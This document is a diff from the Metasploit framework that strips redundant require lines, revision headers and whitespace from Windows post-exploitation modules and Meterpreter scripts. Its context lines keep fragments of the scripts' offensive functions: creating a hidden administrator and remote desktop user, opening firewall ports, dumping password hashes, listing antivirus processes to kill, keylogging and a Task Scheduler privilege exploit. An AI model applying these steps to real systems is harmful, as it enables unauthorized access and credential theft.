'Windows Manage Reflective DLL Injection Module', diff --git a/modules/post/windows/manage/rpcapd_start.rb b/modules/post/windows/manage/rpcapd_start.rb index 600d353d32..dc9acd344f 100644 --- a/modules/post/windows/manage/rpcapd_start.rb +++ b/modules/post/windows/manage/rpcapd_start.rb @@ -6,19 +6,13 @@ ## require 'msf/core' -require 'msf/core/post/file' -require 'msf/core/post/common' -require 'msf/core/post/windows/priv' -require 'msf/core/post/windows/registry' -require 'msf/core/post/windows/services' class Metasploit3 < Msf::Post + include Msf::Post::File include Msf::Post::Windows::Registry include Msf::Post::Windows::WindowsServices include Msf::Post::Windows::Priv - include Msf::Post::Common - include Msf::Post::File def initialize(info={}) super( update_info( info, diff --git a/modules/post/windows/manage/run_as.rb b/modules/post/windows/manage/run_as.rb index 3261b016ca..68bfc5039e 100644 --- a/modules/post/windows/manage/run_as.rb +++ b/modules/post/windows/manage/run_as.rb @@ -7,8 +7,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/file' -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post include Msf::Post::File diff --git a/modules/post/windows/manage/sdel.rb b/modules/post/windows/manage/sdel.rb index d7645fe0b7..0ccb9aac5e 100644 --- a/modules/post/windows/manage/sdel.rb +++ b/modules/post/windows/manage/sdel.rb @@ -6,14 +6,10 @@ ## require 'msf/core' -require 'msf/core/post/file' -require 'msf/core/post/common' -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv - include Msf::Post::Common include Msf::Post::File def initialize(info={}) diff --git a/modules/post/windows/manage/vss_create.rb b/modules/post/windows/manage/vss_create.rb index d6f4bcee88..c0dff62209 100644 --- a/modules/post/windows/manage/vss_create.rb +++ b/modules/post/windows/manage/vss_create.rb @@ -8,8 +8,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/shadowcopy' -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/manage/vss_list.rb b/modules/post/windows/manage/vss_list.rb index b2804e4e45..7b9a5c2134 100644 --- a/modules/post/windows/manage/vss_list.rb +++ b/modules/post/windows/manage/vss_list.rb @@ -8,8 +8,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/shadowcopy' -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/manage/vss_mount.rb b/modules/post/windows/manage/vss_mount.rb index c7f14cb14b..a1e5576719 100644 --- a/modules/post/windows/manage/vss_mount.rb +++ b/modules/post/windows/manage/vss_mount.rb @@ -8,8 +8,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/shadowcopy' -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/manage/vss_set_storage.rb b/modules/post/windows/manage/vss_set_storage.rb index 18703e15db..6693afd61c 100644 --- a/modules/post/windows/manage/vss_set_storage.rb +++ b/modules/post/windows/manage/vss_set_storage.rb @@ -8,8 +8,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/shadowcopy' -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post diff --git a/modules/post/windows/manage/vss_storage.rb b/modules/post/windows/manage/vss_storage.rb index 49f26d933f..9f556f9526 100644 --- a/modules/post/windows/manage/vss_storage.rb +++ b/modules/post/windows/manage/vss_storage.rb @@ -8,8 +8,6 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/shadowcopy' -require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post diff --git a/scripts/meterpreter/arp_scanner.rb b/scripts/meterpreter/arp_scanner.rb index cab09e016e..4abe944c82 100644 --- a/scripts/meterpreter/arp_scanner.rb +++ b/scripts/meterpreter/arp_scanner.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -22,7 +20,7 @@ def enum_int print_status("\t#{i.netmask}") print_status() end - + end end diff --git a/scripts/meterpreter/autoroute.rb b/scripts/meterpreter/autoroute.rb index 8fa695edd7..88602113e9 100644 --- a/scripts/meterpreter/autoroute.rb +++ b/scripts/meterpreter/autoroute.rb @@ -1,6 +1,3 @@ -# $Id$ -# $Revision$ - # # Meterpreter script for setting up a route from within a # Meterpreter session, without having to background the diff --git a/scripts/meterpreter/checkvm.rb b/scripts/meterpreter/checkvm.rb index 8f5b68c8cb..d968f9a184 100644 --- a/scripts/meterpreter/checkvm.rb +++ b/scripts/meterpreter/checkvm.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Meterpreter script for detecting if target host is a Virtual Machine # Provided by Carlos Perez at carlos_perez[at]darkoperator.com # Version: 0.2.0 diff --git a/scripts/meterpreter/credcollect.rb b/scripts/meterpreter/credcollect.rb index 5cf971a954..4ba4dd1a7b 100644 --- a/scripts/meterpreter/credcollect.rb +++ b/scripts/meterpreter/credcollect.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # credcollect - tebo[at]attackresearch.com opts = Rex::Parser::Arguments.new( diff --git a/scripts/meterpreter/domain_list_gen.rb b/scripts/meterpreter/domain_list_gen.rb index 4ca6eaf5be..3621d02d05 100644 --- a/scripts/meterpreter/domain_list_gen.rb +++ b/scripts/meterpreter/domain_list_gen.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- #Options and Option Parsing diff --git a/scripts/meterpreter/dumplinks.rb b/scripts/meterpreter/dumplinks.rb index c4dc95b150..58ba559caf 100644 --- a/scripts/meterpreter/dumplinks.rb +++ b/scripts/meterpreter/dumplinks.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: davehull at dph_msf@trustedsignal.com #------------------------------------------------------------------------------- diff --git a/scripts/meterpreter/duplicate.rb b/scripts/meterpreter/duplicate.rb index fb99634e8d..e45c7fbc1e 100644 --- a/scripts/meterpreter/duplicate.rb +++ b/scripts/meterpreter/duplicate.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Scriptjunkie # Uses a meterpreter session to spawn a new meterpreter session in a different process. # A new process allows the session to take "risky" actions that might get the process killed by diff --git a/scripts/meterpreter/enum_chrome.rb b/scripts/meterpreter/enum_chrome.rb index 7c61d98db0..1c3fbfd35f 100644 --- a/scripts/meterpreter/enum_chrome.rb +++ b/scripts/meterpreter/enum_chrome.rb @@ -1,5 +1,3 @@ -#$Id$ -#$Revision$ # # Script to extract data from a chrome installation. # diff --git a/scripts/meterpreter/enum_firefox.rb b/scripts/meterpreter/enum_firefox.rb index b38e44ce33..b76630db7e 100644 --- a/scripts/meterpreter/enum_firefox.rb +++ b/scripts/meterpreter/enum_firefox.rb @@ -1,6 +1,4 @@ # -# $Id: enum_firefox.rb 9770 2010-07-10 20:00:32Z darkoperator $ -# $Revision: $ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -34,7 +32,7 @@ def frfxplacesget(path,usrnm) fullpath = path + '\\' + x if @client.fs.file.stat(fullpath).directory? frfxplacesget(fullpath,usrnm) - elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i + elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i dst = x dst = @logs + ::File::Separator + usrnm + dst print_status("\tDownloading Firefox Database file #{x} to '#{dst}'") diff --git a/scripts/meterpreter/enum_logged_on_users.rb b/scripts/meterpreter/enum_logged_on_users.rb index eb263c23ad..d38d35e240 100644 --- a/scripts/meterpreter/enum_logged_on_users.rb +++ b/scripts/meterpreter/enum_logged_on_users.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision: 9771 $ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/enum_powershell_env.rb b/scripts/meterpreter/enum_powershell_env.rb index 3066630da0..613b4923a0 100644 --- a/scripts/meterpreter/enum_powershell_env.rb +++ b/scripts/meterpreter/enum_powershell_env.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision: $ #Meterpreter script for enumerating Microsoft Powershell settings. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com @client = client @@ -116,7 +114,7 @@ def enum_powershell end end - + end end if client.platform =~ /win32|win64/ diff --git a/scripts/meterpreter/enum_putty.rb b/scripts/meterpreter/enum_putty.rb index 76e7994e63..886dac8eed 100644 --- a/scripts/meterpreter/enum_putty.rb +++ b/scripts/meterpreter/enum_putty.rb @@ -1,10 +1,7 @@ -# $Id$ -# $Revision: $ # # Meterpreter script for enumerating putty connections # Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com # -# $Revision$ @client = client #Options and Option Parsing opts = Rex::Parser::Arguments.new( @@ -22,7 +19,7 @@ opts.parse(args) { |opt, idx, val| def hkcu_base key_base = [] - + if not is_system? key_base << "HKCU" else diff --git a/scripts/meterpreter/enum_shares.rb b/scripts/meterpreter/enum_shares.rb index 139a9afed1..9d49918dd8 100644 --- a/scripts/meterpreter/enum_shares.rb +++ b/scripts/meterpreter/enum_shares.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -76,7 +74,7 @@ if client.platform =~ /win32|64/ # Enumerate shares being offered enum_conf_shares() - + if not is_system? mount_history = enum_recent_mounts("HKEY_CURRENT_USER") run_history = enum_run_unc("HKEY_CURRENT_USER") diff --git a/scripts/meterpreter/enum_vmware.rb b/scripts/meterpreter/enum_vmware.rb index 9fef542251..825f5df0e4 100644 --- a/scripts/meterpreter/enum_vmware.rb +++ b/scripts/meterpreter/enum_vmware.rb @@ -1,6 +1,3 @@ -# $Id: $ -# $Revision$ - # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -102,7 +99,7 @@ def enum_viclient end end end - + if not is_system? recentconns = registry_getvaldata("HKCU\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",") print_status("Recent VI Client Connections:") @@ -116,7 +113,7 @@ def enum_viclient ssl_key = registry_getvaldata("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl) print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}") end - + end else user_sid = [] @@ -283,7 +280,7 @@ def enum_vmwarewrk end end fav_file.each_line do |l| - + if l =~ /config/ print_status("\tConfiguration File: #{l.scan(/vmlist\d*.config \= (\".*\")/)}") end diff --git a/scripts/meterpreter/event_manager.rb b/scripts/meterpreter/event_manager.rb index 21d7f3bdf7..9ddcd85a05 100644 --- a/scripts/meterpreter/event_manager.rb +++ b/scripts/meterpreter/event_manager.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -48,7 +46,7 @@ def get_log_details logs_detail = Array.new eventlog_list.each do |log_name| - + # Create a hash to store the log info in (and throw default info in) log_detail = Hash.new log_detail[:name] = log_name @@ -62,11 +60,11 @@ def get_log_details else key = "#{key}eventlog" end - + begin unless (registry_getvaldata("#{key}\\#{log_name}","Retention") == 0) then log_detail[:retention] = "Disabled" end log_detail[:size] = registry_getvaldata("#{key}\\#{log_name}","MaxSize") - + # Open the event log eventlog = @client.sys.eventlog.open(log_name) log_detail[:num_of_records] = eventlog.length @@ -74,10 +72,10 @@ def get_log_details log_detail[:num_of_records] = "Access Denied" end - + logs_detail << log_detail end - + return logs_detail end @@ -95,13 +93,13 @@ def print_log_details "Maximum Size", "Records" ]) - + eventlog_details = get_log_details eventlog_details.each do |log_detail| tbl << [log_detail[:name],log_detail[:retention],"#{log_detail[:size]}K",log_detail[:num_of_records]] end - + print_line("\n" + tbl.to_s + "\n") end @@ -135,7 +133,7 @@ def list_logs(eventlog_name,filter,filter_string,logs,local_log,sup_print) print_error("Failed to Open Event Log #{eventlog_name}") raise Rex::Script::Completed end - + if local_log log_file = File.join(logs, "#{eventlog_name}.csv") print_good("CSV File saved to #{log_file}") @@ -152,7 +150,7 @@ def clear_logs(log_name=nil) else log_names << log_name end - + log_names.each do |name| begin print_status("Clearing #{name}") @@ -163,7 +161,7 @@ def clear_logs(log_name=nil) print_error("Failed to Clear #{name}, Access Denied") end end - + return log_names end @@ -221,7 +219,7 @@ if local_log else logs = ::File.join(Msf::Config.log_directory, "scripts", 'event_manager', Rex::FileUtils.clean_path(host + filenameinfo) ) end - + ::FileUtils.mkdir_p(logs) end @@ -242,5 +240,5 @@ if clear_logs print_status eventlog_name + ": " clear_logs(eventlog_name) end - end + end end diff --git a/scripts/meterpreter/file_collector.rb b/scripts/meterpreter/file_collector.rb index 83749aa94b..30e8cb40b2 100644 --- a/scripts/meterpreter/file_collector.rb +++ b/scripts/meterpreter/file_collector.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- @client = client diff --git a/scripts/meterpreter/get_application_list.rb b/scripts/meterpreter/get_application_list.rb index 354442a228..bdcd805351 100644 --- a/scripts/meterpreter/get_application_list.rb +++ b/scripts/meterpreter/get_application_list.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision: $ # Meterpreter script for listing installed applications and their version. # Provided: carlos_perez[at]darkoperator[dot]com @@ -54,7 +52,7 @@ opts.parse(args) { |opt, idx, val| print_line "Meterpreter Script for extracting a list installed applications and their version." print_line(opts.usage) raise Rex::Script::Completed - + end } if client.platform =~ /win32|win64/ diff --git a/scripts/meterpreter/get_env.rb b/scripts/meterpreter/get_env.rb index a255c86bd3..5bc85bf89e 100644 --- a/scripts/meterpreter/get_env.rb +++ b/scripts/meterpreter/get_env.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision: $ #------------------------------------------------------------------------------- #Options and Option Parsing opts = Rex::Parser::Arguments.new( diff --git a/scripts/meterpreter/get_filezilla_creds.rb b/scripts/meterpreter/get_filezilla_creds.rb index f8213c1ee2..2944f6018e 100644 --- a/scripts/meterpreter/get_filezilla_creds.rb +++ b/scripts/meterpreter/get_filezilla_creds.rb @@ -1,7 +1,3 @@ -## -# $Id$ -# $Revision: $ -## require "rexml/document" @@ -90,7 +86,7 @@ def extract_saved_creds(path,xml_file) print_status "\tUser: #{e.elements["User"].text}" creds << "User: #{e.elements["User"].text}" end - + proto = e.elements["Protocol"].text if proto == "0" print_status "\tProtocol: FTP" @@ -109,14 +105,14 @@ def extract_saved_creds(path,xml_file) creds << "" end -# +# return creds end #------------------------------------------------------------------------------- #Function to enumerate the users if running as SYSTEM def enum_users(os) users = [] - + path4users = "" sysdrv = @client.fs.file.expand_path("%SystemDrive%") diff --git a/scripts/meterpreter/get_local_subnets.rb b/scripts/meterpreter/get_local_subnets.rb index dec55fa353..3622811d57 100644 --- a/scripts/meterpreter/get_local_subnets.rb +++ b/scripts/meterpreter/get_local_subnets.rb @@ -1,6 +1,3 @@ -# $Id$ -# $Revision$ - # Meterpreter script that display local subnets # Provided by Nicob # Ripped from http://blog.metasploit.com/2006/10/meterpreter-scripts-and-msrt.html diff --git a/scripts/meterpreter/get_pidgin_creds.rb b/scripts/meterpreter/get_pidgin_creds.rb index 2b47353a13..77cbe3c649 100644 --- a/scripts/meterpreter/get_pidgin_creds.rb +++ b/scripts/meterpreter/get_pidgin_creds.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- require "rexml/document" @@ -145,7 +143,7 @@ end #Function to enumerate the users if running as SYSTEM def enum_users(os) users = [] - + path4users = "" sysdrv = @client.fs.file.expand_path("%SystemDrive%") diff --git a/scripts/meterpreter/get_valid_community.rb b/scripts/meterpreter/get_valid_community.rb index b08df8b9de..6802176f10 100644 --- a/scripts/meterpreter/get_valid_community.rb +++ b/scripts/meterpreter/get_valid_community.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #copied getvncpw - thanks grutz/carlos @@ -15,7 +13,7 @@ def usage() end def get_community(session) - key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities" + key = "HKLM\\System\\CurrentControlSet\\Services\\SNMP\\Parameters\\ValidCommunities" root_key, base_key = session.sys.registry.splitkey(key) open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) begin @@ -37,7 +35,7 @@ end if client.platform =~ /win32|win64/ print_status("Searching for community strings...") strs = get_community(session) - if strs + if strs strs.each do |str| print_good("FOUND: #{str}") @client.framework.db.report_auth_info( @@ -50,7 +48,7 @@ if client.platform =~ /win32|win64/ :type => "snmp.community", :duplicate_ok => true ) - end + end else print_status("Not found") end diff --git a/scripts/meterpreter/getcountermeasure.rb b/scripts/meterpreter/getcountermeasure.rb index ce0ad27824..51a3200d30 100644 --- a/scripts/meterpreter/getcountermeasure.rb +++ b/scripts/meterpreter/getcountermeasure.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Meterpreter script for detecting AV, HIPS, Third Party Firewalls, DEP Configuration and Windows Firewall configuration. # Provides also the option to kill the processes of detected products and disable the built-in firewall. @@ -177,7 +175,7 @@ avs = %W{ oasclnt.exe ofcdog.exe opscan.exe - ossec-agent.exe + ossec-agent.exe outpost.exe paamsrv.exe pavfnsvr.exe diff --git a/scripts/meterpreter/getgui.rb b/scripts/meterpreter/getgui.rb index 59826d0f46..f027423a46 100644 --- a/scripts/meterpreter/getgui.rb +++ b/scripts/meterpreter/getgui.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -67,7 +65,7 @@ def enabletssrv() file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"") cmd_exec("sc start termservice") file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"") - + else print_status "\tTerminal Services service is already set to auto" end @@ -83,7 +81,7 @@ end def addrdpusr(session, username, password) - + rdu = resolve_sid("S-1-5-32-555")[:name] admin = resolve_sid("S-1-5-32-544")[:name] @@ -100,7 +98,7 @@ def addrdpusr(session, username, password) file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") print_status "\tAdding User: #{username} to local group '#{rdu}'" cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add") - + print_status "\tAdding User: #{username} to local group '#{admin}'" cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add") print_status "You can now login with the created user" diff --git a/scripts/meterpreter/gettelnet.rb b/scripts/meterpreter/gettelnet.rb index a65c4120d0..0604f40eb6 100644 --- a/scripts/meterpreter/gettelnet.rb +++ b/scripts/meterpreter/gettelnet.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -60,7 +58,7 @@ def insttlntsrv() end file_local_write(@dest,"execute -H -f cmd.exe -a \"/c ocsetup TelnetServer /uninstall\"") print_status("Finished installing the Telnet Service.") - + end elsif trgtos =~ /2003/ file_local_write(@dest,"reg setval -k \"HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\\" -v 'Start' -d \"1\"") @@ -85,7 +83,7 @@ def enabletlntsrv() # Enabling Exception on the Firewall print_status "\tOpening port in local firewall if necessary" cmd_exec('netsh firewall set portopening protocol = tcp port = 23 mode = enable') - + rescue::Exception => e print_status("The following Error was encountered: #{e.class} #{e}") end diff --git a/scripts/meterpreter/getvncpw.rb b/scripts/meterpreter/getvncpw.rb index 2bbefb1caf..21484313c4 100644 --- a/scripts/meterpreter/getvncpw.rb +++ b/scripts/meterpreter/getvncpw.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #---------------------------------------------------------------- # Meterpreter script to obtain the VNC password out of the # registry and print its decoded cleartext diff --git a/scripts/meterpreter/hashdump.rb b/scripts/meterpreter/hashdump.rb index 3f2fcb8471..2ab37157fc 100644 --- a/scripts/meterpreter/hashdump.rb +++ b/scripts/meterpreter/hashdump.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Implement pwdump (hashdump) through registry reads + syskey @@ -101,14 +99,14 @@ def capture_user_keys users[usr.to_i(16)] ||={} users[usr.to_i(16)][:F] = uk.query_value("F").data users[usr.to_i(16)][:V] = uk.query_value("V").data - + #Attempt to get Hints (from Win7/Win8 Location) begin users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0]) rescue ::Rex::Post::Meterpreter::RequestError users[usr.to_i(16)][:UserPasswordHint] = nil end - + uk.close end ok.close @@ -120,9 +118,9 @@ def capture_user_keys rid = r.type users[rid] ||= {} users[rid][:Name] = usr - + #Attempt to get Hints (from WinXP Location) only if it's not set yet - if users[rid][:UserPasswordHint].nil? + if users[rid][:UserPasswordHint].nil? begin uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ) users[rid][:UserPasswordHint] = uk_hint.query_value("").data @@ -130,7 +128,7 @@ def capture_user_keys users[rid][:UserPasswordHint] = nil end end - + uk.close end ok.close @@ -262,9 +260,9 @@ if client.platform =~ /win32|win64/ if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0 print_line "#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"" hint_count += 1 - end + end end - print_line("No users with password hints on this system") if hint_count == 0 + print_line("No users with password hints on this system") if hint_count == 0 print_line() print_status("Dumping password hashes...") @@ -280,9 +278,9 @@ if client.platform =~ /win32|win64/ :pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0], :type => "smb_hash" ) - + print_line hashstring - + end print_line() print_line() @@ -298,4 +296,4 @@ if client.platform =~ /win32|win64/ else print_error("This version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed -end \ No newline at end of file +end diff --git a/scripts/meterpreter/hostsedit.rb b/scripts/meterpreter/hostsedit.rb index ba4f2223f3..c54bd4c67b 100644 --- a/scripts/meterpreter/hostsedit.rb +++ b/scripts/meterpreter/hostsedit.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Meterpreter script for modifying the hosts file in windows # given a single entrie or several in a file and clear the # DNS cache on the target machine. diff --git a/scripts/meterpreter/keylogrecorder.rb b/scripts/meterpreter/keylogrecorder.rb index 11bce12b62..ae6316f6a5 100644 --- a/scripts/meterpreter/keylogrecorder.rb +++ b/scripts/meterpreter/keylogrecorder.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com # Updates by Shellster #------------------------------------------------------------------------------- @@ -75,7 +73,7 @@ def explrmigrate(session,captype,lock,kill) print_status("\t#{process2mig} Process found, migrating into #{x['pid']}") session.core.migrate(x['pid'].to_i) print_status("Migration Successful!!") - + if (kill) begin print_status("Killing old process") @@ -149,7 +147,7 @@ def keycap(session, keytime, logfile) rec = 1 #Creating DB for captured keystrokes file_local_write(logfile,"") - + print_status("Keystrokes being saved in to #{logfile}") #Inserting keystrokes every number of seconds specified print_status("Recording ") @@ -187,7 +185,7 @@ kill = false when "-l" lock = true when "-k" - kill = true + kill = true end } if client.platform =~ /win32|win64/ diff --git a/scripts/meterpreter/killav.rb b/scripts/meterpreter/killav.rb index a631f01f1f..60ac0f5c70 100644 --- a/scripts/meterpreter/killav.rb +++ b/scripts/meterpreter/killav.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Meterpreter script that kills all Antivirus processes # Provided by: Jerome Athias diff --git a/scripts/meterpreter/metsvc.rb b/scripts/meterpreter/metsvc.rb index 46baa8eac4..fe56c49f72 100644 --- a/scripts/meterpreter/metsvc.rb +++ b/scripts/meterpreter/metsvc.rb @@ -1,6 +1,3 @@ -# $Id$ -# $Revision$ - # # Meterpreter script for installing the meterpreter service # diff --git a/scripts/meterpreter/migrate.rb b/scripts/meterpreter/migrate.rb index 8d8776e51f..1444226ee0 100644 --- a/scripts/meterpreter/migrate.rb +++ b/scripts/meterpreter/migrate.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Simple example script that migrates to a specific process by name. # This is meant as an illustration. diff --git a/scripts/meterpreter/multi_console_command.rb b/scripts/meterpreter/multi_console_command.rb index 7fe7850a33..4d19828ba9 100644 --- a/scripts/meterpreter/multi_console_command.rb +++ b/scripts/meterpreter/multi_console_command.rb @@ -1,10 +1,8 @@ -# $Id$ # # Meterpreter script for running multiple console commands on a meterpreter session # Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com # Verion: 0.1 # -# $Revision$ ################## Variable Declarations ################## @client = client @@ -48,7 +46,7 @@ end ################## Main ################## @@exec_opts.parse(args) { |opt, idx, val| case opt - + when "-cl" commands = val.split(",") when "-rc" @@ -60,7 +58,7 @@ end commands << line.chomp end end - + when "-h" help = 1 end diff --git a/scripts/meterpreter/multi_meter_inject.rb b/scripts/meterpreter/multi_meter_inject.rb index f37e2822a9..d6f6974ed7 100644 --- a/scripts/meterpreter/multi_meter_inject.rb +++ b/scripts/meterpreter/multi_meter_inject.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/multicommand.rb b/scripts/meterpreter/multicommand.rb index 707b292bef..53f82eddb5 100644 --- a/scripts/meterpreter/multicommand.rb +++ b/scripts/meterpreter/multicommand.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for running multiple commands on Windows 2003, Windows Vista # and Windows XP and Windows 2008 targets. #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com diff --git a/scripts/meterpreter/multiscript.rb b/scripts/meterpreter/multiscript.rb index c798ca1452..01cfaf6791 100644 --- a/scripts/meterpreter/multiscript.rb +++ b/scripts/meterpreter/multiscript.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for running multiple scripts on a Meterpreter Session #Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com #Verion: 0.2 diff --git a/scripts/meterpreter/netenum.rb b/scripts/meterpreter/netenum.rb index 643b114fdf..f3cb4c31a5 100644 --- a/scripts/meterpreter/netenum.rb +++ b/scripts/meterpreter/netenum.rb @@ -125,7 +125,6 @@ def reverselookup(session, iprange, dest) end rescue ::Exception => e print_status("The following error was encountered: #{e.class} #{e}") - end end @@ -220,7 +219,6 @@ def pingsweep(session, iprange, dest) end rescue ::Exception => e print_status("The following error was encountered: #{e.class} #{e}") - end end #------------------------------------------------------------------------------- diff --git a/scripts/meterpreter/persistence.rb b/scripts/meterpreter/persistence.rb index 3c9b52aae8..948f4fbd6a 100644 --- a/scripts/meterpreter/persistence.rb +++ b/scripts/meterpreter/persistence.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## diff --git a/scripts/meterpreter/powerdump.rb b/scripts/meterpreter/powerdump.rb index 772efa94b1..e46d542466 100644 --- a/scripts/meterpreter/powerdump.rb +++ b/scripts/meterpreter/powerdump.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # # Meterpreter script for utilizing purely PowerShell to extract username and password hashes through registry # keys. This script requires you to be running as system in order to work properly. This has currently been diff --git a/scripts/meterpreter/prefetchtool.rb b/scripts/meterpreter/prefetchtool.rb index 8dc99dfffe..d299868ebc 100644 --- a/scripts/meterpreter/prefetchtool.rb +++ b/scripts/meterpreter/prefetchtool.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for extracting information from windows prefetch folder #Provided by Milo at keith.lee2012[at]gmail.com #Verion: 0.1.0 diff --git a/scripts/meterpreter/remotewinenum.rb b/scripts/meterpreter/remotewinenum.rb index 71721d1009..873d989682 100644 --- a/scripts/meterpreter/remotewinenum.rb +++ b/scripts/meterpreter/remotewinenum.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ # Author: Carlos Perez at carlos_perez[at]darkoperator.com #------------------------------------------------------------------------------- ################## Variable Declarations ################## @@ -62,7 +60,7 @@ def wmicexec(session,wmic,user,pass,trgt) tmp = session.fs.file.expand_path("%TEMP%") # Temporary file on windows host to store results wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt" - + wmic.each do |wmi| if user == nil print_status("The commands will be ran under the credentials of #{runningas}") diff --git a/scripts/meterpreter/scheduleme.rb b/scripts/meterpreter/scheduleme.rb index 549d77f80d..7134005e98 100644 --- a/scripts/meterpreter/scheduleme.rb +++ b/scripts/meterpreter/scheduleme.rb @@ -1,5 +1,3 @@ -# $Id$ -# $Revision$ #Meterpreter script for automating the most common scheduling tasks #during a pentest. This script will use the schtasks command so as diff --git a/scripts/meterpreter/schelevator.rb b/scripts/meterpreter/schelevator.rb index b8081f7c3d..f10648d989 100644 --- a/scripts/meterpreter/schelevator.rb +++ b/scripts/meterpreter/schelevator.rb @@ -1,8 +1,3 @@ -## -# $Id$ -# $Revision$ -## - ## # # This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet @@ -255,7 +250,7 @@ def fix_crc32(data, 